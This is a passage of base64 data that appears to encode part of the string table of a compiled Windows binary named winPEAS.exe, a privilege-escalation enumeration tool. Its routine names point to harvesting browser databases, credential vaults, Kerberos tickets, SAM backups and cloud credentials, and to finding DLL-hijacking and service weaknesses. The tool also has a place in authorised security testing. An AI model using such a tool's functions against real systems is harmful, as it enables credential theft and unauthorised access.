ltZQBGcm9tRmlsZVRpbWUARGF0ZVRpbWUAR2V0TGFzdFdyaXRlVGltZQBMb2dpblRpbWUAV1RTTG9nb25UaW1lAEtleUV4cGlyYXRpb25UaW1lAEdldExhc3RBY2Nlc3NUaW1lAFN0YXJ0VGltZQBSZW5ld1RpbWUAc2VhcmNoX3RpbWUARmluZE9uZQBSZWFkTGluZQBXcml0ZUxpbmUAZ2V0X0NvbW1MaW5lAExvY2FsTWFjaGluZQBJc1ZpcnR1YWxNYWNoaW5lAE1lc3NhZ2VUeXBlAE5hbWVUeXBlAFZhbHVlVHlwZQBnZXRfRHJpdmVUeXBlAFdUU0NsaWVudFByb3RvY29sVHlwZQBUb2tlblR5cGUATG9nb25UeXBlAEVuY3J5cHRpb25UeXBlAEdldFR5cGUAR2V0RWxlbWVudFR5cGUAQ29udGV4dFR5cGUAZHdUeXBlAEtleVR5cGUAQXJwRW50cnlUeXBlAElkZW50aXR5VHlwZQBXaGVyZQBTeXN0ZW0uQ29yZQBQdHJUb1N0cnVjdHVyZQBnZXRfSW5zdGFsbGVkVUlDdWx0dXJlAGdldF9DdWx0dXJlAENhcHR1cmUATWV0aG9kQmFzZQBSZWFkT25seUNvbGxlY3Rpb25CYXNlAHN0ckZhbHNlAFN5c3RlbS5JRGlzcG9zYWJsZS5EaXNwb3NlAFBhcnNlAFJldmVyc2UAbWF5X3Bvc3RkYXRlAG9rX2FzX2RlbGVnYXRlAFRyYW5zbGF0ZQBQb3B1bGF0ZQBEZWJ1Z2dlckJyb3dzYWJsZVN0YXRlAFdUU0Nvbm5lY3RTdGF0ZQA8PjFfX3N0YXRlAFNUQVRocmVhZEF0dHJpYnV0ZQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnZXJCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBYbWxBdHRyaWJ1dGUARGVidWdnZXJIaWRkZW5BdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBGbGFnc0F0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAc2V0X1VzZVNoZWxsRXhlY3V0ZQBSZWFkQnl0ZQBnZXRfVmFsdWUAR2V0UmVnVmFsdWUAR2V0VmFsdWUAR2V0VmF1bHRFbGVtZW50VmFsdWUAdmFsdWUAc3RyVHJ1ZQBoaXZlAG9ubHlBY3RpdmUAYW5zaV91c2Vyc19hY3RpdmUAQ2FjaGVkSW50ZXJhY3RpdmUAQ2FjaGVkUmVtb3RlSW50ZXJhY3RpdmUAUmVtb3ZlAHdpblBFQVMuZXhlAGdldF9TaXplAGJ1ZlNpemUAY2h1bmtTaXplAEVuY29kZWRUaWNrZXRTaXplAHBkd1NpemUAbmFtZV9jYW5vbmljYWxpemUARGVzZXJpYWxpemUAU3VwcHJlc3NGaW5hbGl6ZQBTaXplT2YAZ2V0X0l0ZW1PZgBJbmRleE9mAFJldmVydFRvU2VsZgBscFNlY0Rlc3JCdWYAVGFnAEdldE5vbnN0YW5kYXJkU2VydmljZXNGcm9tUmVnAHJvb3RfcmVnAFN5c3RlbS5UaHJlYWRpbmcARW5jb2RpbmcAR2V0UGF0aERMTEhpamFja2luZwBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEZyb21CYXNlNjRTdHJpbmcAVG9CYXNlNjRTdHJpbmcAR2V0Rm9sZGVyRnJvbVN0cmluZwBUb1N0cmluZwBHZXRTdHJpbmcAU3Vic3RyaW5nAGRpc3Bvc2luZwBCYXRjaABJc01hdGNoAHRvX21hdGNoAENvbXB1dGVTdHJpbmdIYXNoAGdldF9QdGgAUmVjb25zdHJ1Y3RFeGVjUGF0aABHZXRFeGVjdXRhYmxlRnJvbVBhdGgAR2V0SW5zdGFsbGVkQXBwc1Blcm1zUGF0aABmaWxlcGF0aABmcGF0aABnZXRfTGVuZ3RoAE1pblBhc3N3b3JkTGVuZ3RoAFByZWZlcmVkTWF4aW11bUxlbmd0aABUb2tlbkluZm9ybWF0aW9uTGVuZ3RoAFJldHVybkxlbmd0aABSZXR1cm5CdWZmZXJMZW5ndGgAU3VibWl0QnVmZmVyTGVuZ3RoAGdldF9CaW5hcnlMZW5ndGgAUGFzc3dvcmRIaXN0b3J5TGVuZ3RoAEVuZHNXaXRoAFN0YXJ0c1dpdGgAVmF1bHRDbGkASXNEb21haW5Kb2luZWRXbWkAUHRyVG9TdHJpbmdVbmkAU3RyaW5nVG9IR2xvYmFsVW5pAFJlZ2V4YW5zaQBoYXlzdGFjawBDaGVjawBUcmFuc2Zvcm1GaW5hbEJsb2NrAENhY2hlZFVubG9jawBsaW5rAEdldENocm9tZUhpc3RCb29rAFByaW50SW5mb05ldHdvcmsAZ2V0X0lQdjRNYXNrAGdldF9BY2Nlc3NNYXNrAFRhc2sAQWxsb2NIR2xvYmFsAEZyZWVIR2xvYmFsAGdldF9Mb2NhbABHZXRVc2VyTG9jYWwAY3VycmVudFVzZXJJc0xvY2FsAElsbGVnYWwATWFyc2hhbABzdWJrZXlfa2V5bWF0ZXJpYWwAaW5pdGlhbABTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsAEdyb3VwUHJpbmNpcGFsAFVzZXJQcmluY2lwYWwAV2luZG93c1ByaW5jaXBhbABTZXF1ZW5jZUVxdWFsAEdlbmVyaWNBY2wAUmF3QWNsAGdldF9EaXNjcmV0aW9uYXJ5QWNsAFRva2VuRGVmYXVsdERhY2wAZ2V0X1ZvbHVtZUxhYmVsAFRva2VuSW1wZXJzb25hdGlvbkxldmVsAHBMZXZlbABSZW5ld1VudGlsAFd0c2FwaTMyLmRsbAB3dHNhcGkzMi5kbGwATmV0YXBpMzIuZGxsAGFkdmFwaTMyLmRsbABrZXJuZWwzMi5kbGwAdXNlcjMyLmRsbABTZWN1cjMyLmRsbABzZWN1cjMyLmRsbABzYW1saWIuZGxsAHZhdWx0Y2xpLmRsbABJcEhscEFwaS5kbGwAU3lzdGVtLlhtbABnZXRfSW5uZXJYbWwAU3lzdGVtLlNlY3VyaXR5LkFjY2Vzc0NvbnRyb2wAR2V0QWNjZXNzQ29udHJvbABHZXRBdWRpb1N0cmVhbQBXVFNJbml0aWFsUHJvZ3JhbQBBbGxvY0NvVGFza01lbQBnZXRfSXRlbQBzZXRfSXRlbQBWYXVsdEdldEl0ZW0AdmF1bHRJdGVtAE9wZXJhdGluZ1N5c3RlbQBHZXRTeXN0ZW0AU3ltbWV0cmljQWxnb3JpdGhtAFRyaW0AY3VycmVudF9wZXJtAEdldEJpbmFyeUZvcm0ASUNyeXB0b1RyYW5zZm9ybQBFbnVtAEJvb2xlYW4Ab3BfR3JlYXRlclRoYW4AVGltZVNwYW4AZHdQaHlzQWRkckxlbgBnZXRfVG9rZW4ARHVwbGljYXRlVG9rZW4AaFRva2VuAE9wZW5Qcm9jZXNzVG9rZW4ATGlzdGVuAEdldFJlY3ljbGVCaW4ATWFpbgBTYW1PcGVuRG9tYWluAExvZ2luRG9tYWluAFNhbVNldEluZm9ybWF0aW9uRG9tYWluAFNhbVF1ZXJ5SW5mb3JtYXRpb25Eb21haW4AR2V0VXNlckRvbWFpbgBwYXJ0b2Zkb21haW4AVG9rZW5PcmlnaW4ASm9pbgBHZXRBdXRvTG9nb24AZ2V0X09TVmVyc2lvbgBnZXRfVmVyc2lvbgB2ZXJzaW9uAFdUU0lzUmVtb3RlU2Vzc2lvbgBnZXRfSWRlbnRpZmljYXRpb24Ab3BfVW5hcnlOZWdhdGlvbgBHZXREb21haW5QYXNzd29yZEluZm9ybWF0aW9uAFNldERvbWFpblBhc3N3b3JkSW5mb3JtYXRpb24AcGFzc3dvcmRJbmZvcm1hdGlvbgBTeXN0ZW0uTmV0Lk5ldHdvcmtJbmZvcm1hdGlvbgBHZXRUb2tlbkluZm9ybWF0aW9uAE5ldEdldEpvaW5JbmZvcm1hdGlvbgBXVFNRdWVyeVNlc3Npb25JbmZvcm1hdGlvbgBVbmljYXN0SVBBZGRyZXNzSW5mb3JtYXRpb24AR2F0ZXdheUlQQWRkcmVzc0luZm9ybWF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAFN5c3RlbS5XZWIuU2NyaXB0LlNlcmlhbGl6YXRpb24AU3lzdGVtLlJlZmxlY3Rpb24AUHJvcGVydHlEYXRhQ29sbGVjdGlvbgBJZGVudGl0eVJlZmVyZW5jZUNvbGxlY3Rpb24AQXV0aG9yaXphdGlvblJ1bGVDb2xsZWN0aW9uAFhtbEF0dHJpYnV0ZUNvbGxlY3Rpb24AVmFsdWVDb2xsZWN0aW9uAFN0cmluZ0NvbGxlY3Rpb24ATWF0Y2hDb2xsZWN0aW9uAFRhc2tDb2xsZWN0aW9uAFVuaWNhc3RJUEFkZHJlc3NJbmZvcm1hdGlvbkNvbGxlY3Rpb24AR2F0ZXdheUlQQWRkcmVzc0luZm9ybWF0aW9uQ29sbGVjdGlvbgBBY3Rpb25Db2xsZWN0aW9uAEdyb3VwQ29sbGVjdGlvbgBUYXNrRm9sZGVyQ29sbGVjdGlvbgBUcmlnZ2VyQ29sbGVjdGlvbgBJUEFkZHJlc3NDb2xsZWN0aW9uAE1hbmFnZW1lbnRPYmplY3RDb2xsZWN0aW9uAEtleUNvbGxlY3Rpb24AVnVsbmVyYWJpbGl0eUNvbGxlY3Rpb24Ab3BfQWRkaXRpb24AZ2V0X0RlZmluaXRpb24AVGFza0RlZmluaXRpb24AU2VhcmNoT3B0aW9uAElPRXhjZXB0aW9uAE5vdFN1cHBvcnRlZEV4Y2VwdGlvbgBGaWxlTm90Rm91bmRFeGNlcHRpb24AUGF0aFRvb0xvbmdFeGNlcHRpb24AQXJndW1lbnROdWxsRXhjZXB0aW9uAFVuYXV0aG9yaXplZEFjY2Vzc0V4Y2VwdGlvbgBCYWRJbWFnZUZvcm1hdEV4Y2VwdGlvbgBNYW5hZ2VtZW50RXhjZXB0aW9uAGdldF9EZXNjcmlwdGlvbgBTdHJpbmdDb21wYXJpc29uAFdhdHNvbgBVcG4ARG93bgBHZXRCYXNpY09TSW5mbwBHZXRBVkluZm8Ac2VjSW5mbwBHZXRQcm9jSW5mbwBGaWVsZEluZm8ATWV0aG9kSW5mbwBHZXROZXRDYXJkSW5mbwBGaWxlSW5mbwBUaW1lWm9uZUluZm8AQ3VsdHVyZUluZm8ARHJpdmVJbmZvAFdUU0NvbmZpZ0luZm8ATmV0d29ya0luZm8AZnVsbEluZm8AUHJpbnRTeXN0ZW1JbmZvAEZpbGVWZXJzaW9uSW5mbwBHZXRWZXJzaW9uSW5mbwBXVFNTZXNzaW9uSW5mbwBwcFNlc3Npb25JbmZvAEFwcGxpY2F0aW9uSW5mbwBXVFNWYWxpZGF0aW9uSW5mbwBnZXRfUmVnaXN0cmF0aW9uSW5mbwBUYXNrUmVnaXN0cmF0aW9uSW5mbwBVc2VySW5mbwBQcmludEJyb3dzZXJJbmZvAEtub3duRmlsZUNyZWRzSW5mbwBTZXJ2aWNlc0luZm8AUHJvY2Vzc2VzSW5mbwBHZXREcml2ZXNJbmZvAFdUU0NsaWVudEluZm8AZ2V0X1N0YXJ0SW5mbwBQcm9jZXNzU3RhcnRJbmZvAERpcmVjdG9yeUluZm8AQ29udGFpbnNBdWRpbwBtbwBaZXJvAHplcm8AWG1sTmFtZWROb2RlTWFwAFNsZWVwAGVuY19wYV9yZXAAVGltZVN0YW1wAFRva2VuUHJpbWFyeUdyb3VwAGt2cAByYzRfaG1hY19leHAAYW5zaV9jb2xvcnNfcmVnZXhwAHJneHAAU3lzdGVtLkxpbnEAPFByb2M+al9fVFBhcgA8Q29tbUxpbmU+al9fVFBhcgA8UHRoPmpfX1RQYXIAPE93bmVyPmpfX1RQYXIAQ2hhcgBkd0FkZHIASW52b2tlTWVtYmVyAEdldEJ1aWxkTnVtYmVyAFdUU0NsaWVudEJ1aWxkTnVtYmVyAFN0cmVhbVJlYWRlcgBUZXh0UmVhZGVyAEFlc0NyeXB0b1NlcnZpY2VQcm92aWRlcgBJRm9ybWF0UHJvdmlkZXIAU3RyaW5nQnVpbGRlcgBUYXNrRm9sZGVyAEdldFBlcm1pc3Npb25zRm9sZGVyAEdldEF1dG9SdW5zRm9sZGVyAGdldF9Sb290Rm9sZGVyAExpc3RGb2xkZXIAQmluZGVyAGJPcmRlcgBFbnVtZXJhdGlvbkJ1ZmZlcgBMc2FGcmVlUmV0dXJuQnVmZmVyAFByb3RvY29sUmV0dXJuQnVmZmVyAHBwQnVmZmVyAFByb3RvY29sU3VibWl0QnVmZmVyAGJ1ZmZlcgBUcmlnZ2VyAFByaW5jaXBhbFNlYXJjaGVyAE1hbmFnZW1lbnRPYmplY3RTZWFyY2hlcgBzZWFyY2hlcgBPdGhlcgBnZXRfU2VjdXJpdHlJZGVudGlmaWVyAFNlcnZpY2VDb250cm9sbGVyAE1pY3Jvc29mdC5XaW4zMi5UYXNrU2NoZWR1bGVyAFByaW50QmFubmVyAGJhbm5lcgBnZXRfT3duZXIAVG9rZW5Pd25lcgBMc2FSZWdpc3RlckxvZ29uUHJvY2Vzc0hlbHBlcgBUb1VwcGVyAEltcGVyc29uYXRlTG9nZ2VkT25Vc2VyAFRva2VuVXNlcgBHZXRVc2VyAExpc3RLZXJiZXJvc1RHVERhdGFDdXJyZW50VXNlcgBMaXN0S2VyYmVyb3NUaWNrZXRzQ3VycmVudFVzZXIAYW5zaV9jdXJyZW50X3VzZXIASXNMb2NhbHVzZXIAVGV4dFdyaXRlcgBGaWx0ZXIAQml0Q29udmVydGVyAFdUU0Nsb3NlU2VydmVyAGhTZXJ2ZXIAU2FtTG9va3VwRG9tYWluSW5TYW1TZXJ2ZXIAU2FtRW51bWVyYXRlRG9tYWluc0luU2FtU2VydmVyAFdUU09wZW5TZXJ2ZXIATG9nb25TZXJ2ZXIAc2VydmVyAFRvTG93ZXIASmF2YVNjcmlwdFNlcmlhbGl6ZXIAZGlyAGdldF9BdXRob3IAZ2V0X01ham9yAHBhdHRlcm5zX2ZpbGVfY3JlZHNfY29sb3IAbm90Y29sb3IAZ2V0X01pbm9yAEdldExhc3RXaW4zMkVycm9yAGdldF9FcnJvcgBBdXRoZW50aWNhdG9yAFByaW50TGluZVNlcGFyYXRvcgBJRW51bWVyYXRvcgBBY2VFbnVtZXJhdG9yAE1hbmFnZW1lbnRPYmplY3RFbnVtZXJhdG9yAFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhYmxlPFN5c3RlbS5TdHJpbmc+LkdldEVudW1lcmF0b3IAU3lzdGVtLkNvbGxlY3Rpb25zLklFbnVtZXJhYmxlLkdldEVudW1lcmF0b3IASURpY3Rpb25hcnlFbnVtZXJhdG9yAHBhaW50X2Rpc2FibGVkVXNlcnNfbm9fQWRtaW5pc3RyYXRvcgBwYWludF9hY3RpdmVVc2Vyc19ub19BZG1pbmlzdHJhdG9yAEFjdGl2YXRvcgAuY3RvcgAuY2N0b3IAUmF3U2VjdXJpdHlEZXNjcmlwdG9yAENyZWF0ZURlY3J5cHRvcgBlcnIAU3RydWN0dXJlVG9QdHIAcGFzc3dvcmRWYXVsdFB0cgBSZWFkSW50UHRyAHZhdWx0RWxlbWVudFB0cgBQZXJtSW50MlN0cgBHZXRJbnN0YWxsZWRLQnMAaW5zdGFsbGVkS0JzAGN1cnJlbnRVc2VyU0lEcwBHZXRDaHJvbWVEYnMAR2V0RmlyZWZveERicwBHZXRDdXJyZW50SUVUYWJzAFRva2VuU3RhdGlzdGljcwBTeXN0ZW0uRGlhZ25vc3RpY3MATGlzdFVzZXJzRG9jcwBMaXN0Q2xvdWRDcmVkcwBQcmludFdpbmRvd3NDcmVkcwBjb21wbGV0ZV9wYXR0ZXJuc19maWxlX2NyZWRzAFRva2VuUmVzdHJpY3RlZFNpZHMAR2V0UmVjZW50UnVuQ29tbWFuZHMAR2V0QWxsTmV0d29ya0ludGVyZmFjZXMAR2V0Tm9uc3RhbmRhcmRTZXJ2aWNlcwBHZXRNb2RpZmlhYmxlU2VydmljZXMAUHJpbnRJbmZvU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAR2V0U2VydmljZXMAbW9kX3NlcnZpY2VzAEdldEluc3RhbmNlcwBEZWJ1Z2dpbmdNb2RlcwBnZXRfQ2hpbGROb2RlcwBiYWRQcml2aWxlZ2VzAFRva2VuR3JvdXBzQW5kUHJpdmlsZWdlcwBUb2tlblByaXZpbGVnZXMATWF0Y2hlcwBHZXRVQUNTeXN0ZW1Qb2xpY2llcwBFbnVtZXJhdGVEaXJlY3RvcmllcwBHZXREaXJlY3RvcmllcwBfdnVsbmVyYWJpbGl0aWVzAEdldElQdjRQcm9wZXJ0aWVzAEdldElQUHJvcGVydGllcwBnZXRfUHJvcGVydGllcwBQYXNzd29yZFByb3BlcnRpZXMASVB2NEludGVyZmFjZVByb3BlcnRpZXMASVBJbnRlcmZhY2VQcm9wZXJ0aWVzAEdldElQR2xvYmFsUHJvcGVydGllcwBFeHBhbmRFbnZpcm9ubWVudFZhcmlhYmxlcwBHZXRFbnZpcm9ubWVudFZhcmlhYmxlcwBHZXRTeXN0ZW1FbnZWYXJpYWJsZXMAR2V0VXNlckVudlZhcmlhYmxlcwBHZXRDcmVkRmlsZXMARmluZEZpbGVzAFByaW50SW50ZXJlc3RpbmdGaWxlcwBHZXRVbmF0dGVuZGVkSW5zdGFsbEZpbGVzAEdldFJEQ01hbkZpbGVzAEdldEZpbGVzAEdldFJlY2VudEZpbGVzAEdldE1jQWZlZVNpdGVsaXN0RmlsZXMAR2V0RmlyZXdhbGxQcm9maWxlcwBHZXRGaXJld2FsbFJ1bGVzAEdldEFjY2Vzc1J1bGVzAEdldFZhbHVlTmFtZXMATnRBY2NvdW50TmFtZXMAR2V0U3ViS2V5TmFtZXMAV1RTSW5jb21pbmdGcmFtZXMAV1RTT3V0Z29pbmdGcmFtZXMAUmVhZEFsbExpbmVzAEdldE5ldHdvcmtTaGFyZXMAY29tbW9uU2hhcmVzAGRlZmVuc2l2ZVByb2Nlc3NlcwBpbnRlcmVzdGluZ1Byb2Nlc3NlcwBQcmludEluZm9Qcm9jZXNzZXMAR2V0UHJvY2Vzc2VzAGdldF9EbnNBZGRyZXNzZXMAZ2V0X1VuaWNhc3RBZGRyZXNzZXMAZ2V0X0dhdGV3YXlBZGRyZXNzZXMAZ2V0X0F0dHJpYnV0ZXMATHVpZEF0dHJpYnV0ZXMAT2JqZWN0QXR0cmlidXRlcwBHZXRSZWdWYWx1ZUJ5dGVzAFdUU0luY29taW5nQnl0ZXMAV1RTT3V0Z29pbmdCeXRlcwBSZWFkQWxsQnl0ZXMAR2V0Qnl0ZXMAZ2V0X1ZhbHVlcwBHZXRSZWdWYWx1ZXMAR2V0RHJpdmVzAEJpbmRpbmdGbGFncwBUaWNrZXRGbGFncwBkd0ZsYWdzAEdldFdyaXRlU2VydmljZVJlZ3MAcHJpbnRfY3JlZFN0cmluZ3MAR2V0V0VGU2V0dGluZ3MAR2V0UG93ZXJTaGVsbFNldHRpbmdzAEdldExhcHNTZXR0aW5ncwBHZXRJbnRlcm5ldFNldHRpbmdzAEdldEF1ZGl0U2V0dGluZ3MAYXJncwA8PjRfX3RoaXMAZ2V0X1RpY2tzAEFkZFRpY2tzAFBhcnNlQ2hyb21lQm9va21hcmtzAGdldF9UYXNrcwBOZXdDcmVkZW50aWFscwBFcXVhbHMATXlVdGlscwBkZWxldGVfbnVsbHMAVmF1bHRFbnVtZXJhdGVJdGVtcwBHZXRJbnN0YWxsZWRBcHBzUGVybXMAU3lzdGVtLldpbmRvd3MuRm9ybXMARG5zAEdldEZpcmV3YWxsQm9vbGVhbnMARW51bWVyYXRlRG9tYWlucwBDb250YWlucwBvbmx5QWRtaW5zAEZpbmRWdWxucwBTeXN0ZW0uV2ViLkV4dGVuc2lvbnMAR2V0UkRQU2Vzc2lvbnMATHNhRW51bWVyYXRlTG9nb25TZXNzaW9ucwBHZXRQdXR0eVNlc3Npb25zAFN5c3RlbS5UZXh0LlJlZ3VsYXJFeHByZXNzaW9ucwBQcmludEluZm9BcHBsaWNhdGlvbnMAZ2V0X0FjdGlvbnMAU3lzdGVtLkNvbGxlY3Rpb25zAEdldFNhdmVkUkRQQ29ubmVjdGlvbnMAR2V0TmV0Q29ubmVjdGlvbnMASW52b2tlTWV0aG9kT3B0aW9ucwBDYWNoZU9wdGlvbnMAUmVnZXhPcHRpb25zAHBhdHRlcm5zAEdldEF1dG9SdW5zAEdldFJlZ2lzdHJ5QXV0b1J1bnMAU2VjdXJpdHlJbmZvcwBiYWRJcHMAR2V0U0FNQmFja3VwcwBnZXRfR3JvdXBzAFRva2VuR3JvdXBzAEdldFVzZXJHcm91cHMAR2V0R3JvdXBzAGJhZGdyb3VwcwByZWdleHBzAGdldF9DaGFycwBnZXRfU3ViRm9sZGVycwBHZXRVc2Vyc0ZvbGRlcnMAZ2V0X1RyaWdnZXJzAEdldEFjdGl2ZVRjcExpc3RlbmVycwBHZXRBY3RpdmVVZHBMaXN0ZW5lcnMAUnVudGltZUhlbHBlcnMAR2V0RXZlckxvZ2dlZFVzZXJzAEdldExvZ2dlZFVzZXJzAHBhaW50X2Rpc2FibGVkVXNlcnMAR2V0TWFjaGluZVVzZXJzAHBhaW50X2FjdGl2ZVVzZXJzAExpc3RLZXJiZXJvc1RHVERhdGFBbGxVc2VycwBMaXN0S2VyYmVyb3NUaWNrZXRzQWxsVXNlcnMAcGFpbnRfYWRtaW5Vc2VycwBQcmludEluZm9Vc2VycwB3aW4zMl91c2VycwBkZWxldGVDb2xvcnMAZGljX2NvbG9ycwBUb2tlbkluZm9ybWF0aW9uQ2xhc3MARG9tYWluSW5mb3JtYXRpb25DbGFzcwB3dHNJbmZvQ2xhc3MATWFuYWdlbWVudENsYXNzAERlc2lyZWRBY2Nlc3MAYWNjZXNzAGdldF9TdWNjZXNzAEVycm9yU3VjY2VzcwBTeXN0ZW0uU2VydmljZVByb2Nlc3MATHNhUmVnaXN0ZXJMb2dvblByb2Nlc3MATHNhRGVyZWdpc3RlckxvZ29uUHJvY2VzcwBJUEFkZHJlc3MAZ2V0X0FkZHJlc3MAR2V0UGh5c2ljYWxBZGRyZXNzAFdUU0NsaWVudEFkZHJlc3MAQ291bnRPZlRpY2tldHMATGlzdEtlcmJlcm9zVGlja2V0cwBnZXRfRmlsZVN5c3RlbVJpZ2h0cwBnZXRfUmVnaXN0cnlSaWdodHMAZ2V0X0tub3duRXhwbG9pdHMAZXhwbG9pdHMAVmF1bHRFbnVtZXJhdGVWYXVsdHMAU2hvd1Jlc3VsdHMAcmVzdWx0cwBwUHJvcGVydHlFbGVtZW50cwBzZXRfQXJndW1lbnRzAENyZWF0ZUR5bmFtaWNMaXN0cwBFeGlzdHMAZ2V0X1N0YXR1cwBQcm90b2NvbFN0YXR1cwBOZXRKb2luU3RhdHVzAE5ldFNldHVwVW5rbm93blN0YXR1cwBTZXJ2aWNlQ29udHJvbGxlclN0YXR1cwBNYW5hZ2VtZW50U3RhdHVzAHN0YXR1cwBHZXRSZWN1cnNpdmVQcml2cwBHZXRUb2tlbkdyb3VwUHJpdnMAQWRkRGF5cwBnZXRfS2V5cwBMaXN0TWFzdGVyS2V5cwBMaXN0UHV0dHlTU0hIb3N0S2V5cwBHZXRSZWdTdWJrZXlzAENvbmNhdABUZXh0RGF0YUZvcm1hdABnZXRfRHJpdmVGb3JtYXQATWFuYWdlbWVudEJhc2VPYmplY3QAaE9iamVjdABSZWxlYXNlQ29tT2JqZWN0AE1hbmFnZW1lbnRPYmplY3QAU2VsZWN0AFNhbUNvbm5lY3QASW50ZXJzZWN0AEdldABTeXN0ZW0uTmV0AENoZWNrSWZEb3ROZXQARW5jb2RlZFRpY2tldABTeXN0ZW0uQ29sbGVjdGlvbnMuSUVudW1lcmF0b3IuUmVzZXQAb2Zmc2V0AFBhZExlZnQAZ29vZFNvZnQAR2V0U2NoZWR1bGVkQXBwc05vTWljcm9zb2Z0AG9wX0V4cGxpY2l0AFNwbGl0AFByaW50SW5pdABXYWl0Rm9yRXhpdABWYXVsdENsb3NlVmF1bHQAVmF1bHRPcGVuVmF1bHQARHVtcFZhdWx0AGdldF9EZWZhdWx0AFVuc2lnbmVkSW50AFRvVXBwZXJJbnZhcmlhbnQAcHJlX2F1dGhlbnQAaHdfYXV0aGVudABvbmx5X3dyaXRlX29yX2VxdWl2YWxlbnQAU3lzdGVtLk1hbmFnZW1lbnQAU3lzdGVtLkRpcmVjdG9yeVNlcnZpY2VzLkFjY291bnRNYW5hZ2VtZW50AHBSZXNvdXJjZUVsZW1lbnQAcEF1dGhlbnRpY2F0b3JFbGVtZW50AHBJZGVudGl0eUVsZW1lbnQAY29tbWVudABFbnZpcm9ubWVudABYbWxEb2N1bWVudABHZXRQYXJlbnQAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3I8U3lzdGVtLlN0cmluZz4uQ3VycmVudABTeXN0ZW0uQ29sbGVjdGlvbnMuSUVudW1lcmF0b3IuQ3VycmVudABTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcjxTeXN0ZW0uU3RyaW5nPi5nZXRfQ3VycmVudABTeXN0ZW0uQ29sbGVjdGlvbnMuSUVudW1lcmF0b3IuZ2V0X0N1cnJlbnQAR2V0Q3VycmVudAA8PjJfX2N1cnJlbnQASVBFbmRQb2ludABCYWRQcmludABOb3RGb3VuZFByaW50AEdvb2RQcmludABBbnNpUHJpbnQATGlua1ByaW50AE1haW5QcmludABJbmZvUHJpbnQAdG9QcmludABHcmVhdFByaW50AERpY3RQcmludABMaXN0UHJpbnQAR3JheVByaW50AGxpc3RfdG9fcHJpbnQAQmVhcHJpbnQAbGlzdGRpY3ByaW50AGNvbnQAZ2V0X0NvdW50AFByaXZpbGVnZUNvdW50AE5hbWVDb3VudAB2YXVsdEl0ZW1Db3VudABMb2dvblNlc3Npb25Db3VudABwQ291bnQAZ2V0X1Byb2Nlc3NvckNvdW50AGR3UHJvcGVydGllc0NvdW50AHZhdWx0Q291bnQATlRBY2NvdW50AEdldFBhdGhSb290AEhpZ2hQYXJ0AExvd1BhcnQAQXBwU3RhcnQAVG9rZW5TYW5kQm94SW5lcnQAQ29udmVydABVbnNpZ25lZFNob3J0AENhc3QATGFzdABzZWFyY2hfZmFzdABYbWxOb2RlTGlzdABMb2dvblNlc3Npb25MaXN0AFRvTGlzdABDb250YWluc0ZpbGVEcm9wTGlzdABHZXRGaWxlRHJvcExpc3QAQXJyYXlMaXN0AEZpcnN0AG9ubHlMb2Nrb3V0AGdldF9TdGFuZGFyZE91dHB1dABzZXRfUmVkaXJlY3RTdGFuZGFyZE91dHB1dABNb3ZlTmV4dABTeXN0ZW0uVGV4dABHZXRDbGlwYm9hcmRUZXh0AFJlYWRBbGxUZXh0AGdldF9Jbm5lclRleHQAQ29udGFpbnNUZXh0AEdldFRleHQAR2V0V2luZG93VGV4dABHZXRQcmluY2lwYWxDb250ZXh0AEVudW1lcmF0aW9uQ29udGV4dABOZXR3b3JrQ2xlYXJ0ZXh0AEdldElFSGlzdEZhdgBUaW1lU2tldwBnZXRfTm93AFNoYWRvdwBHZXRGb3JlZ3JvdW5kV2luZG93AHNldF9DcmVhdGVOb1dpbmRvdwBhbnNpX2NvbG9yX3llbGxvdwBXVFNTZXNzaW9uSW5mb0V4AFdUU0VudW1lcmF0ZVNlc3Npb25zRXgAZ2V0X0luZGV4AGR3SW5kZXgAY3JlZFN0cmluZ3NSZWdleABDb250YWluc0FueVJlZ2V4AE9yZGVyQnkAV1RTQ2xpZW50RGlzcGxheQBub19ncmF5AGFuc2lfY29sb3JfZ3JheQBQcm90ZWN0ZWRBcnJheQBCeXRlQXJyYXkASW5pdGlhbGl6ZUFycmF5AGdldF9Jc0FycmF5AEdldFBhc3N3b3JkUG9saWN5AFRva2VuQXVkaXRQb2xpY3kAZ2V0X0lzUmVhZHkAZ2V0X0tleQBzZXRfS2V5AE9wZW5TdWJLZXkAU2Vzc2lvbktleQBDb250YWluc0tleQBSZWdpc3RyeUtleQBrZXkAU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeQBBZGRyZXNzRmFtaWx5AGR1bW15AEFueQBDb3B5AGFsdGVybmF0aXZlX2JpbmFyeQBJRGljdGlvbmFyeQBUb0RpY3Rpb25hcnkAT2JqZWN0UXVlcnkAU2VsZWN0UXVlcnkAQ29ubmVjdFF1ZXJ5AHF1ZXJ5AFdUU0ZyZWVNZW1vcnkAU2FtRnJlZU1lbW9yeQBwTWVtb3J5AGFkdmlzb3J5AFdUU1dvcmtpbmdEaXJlY3RvcnkAZ2V0X1N5c3RlbURpcmVjdG9yeQBXVFNDbGllbnREaXJlY3RvcnkAUGFyc2VDaHJvbWV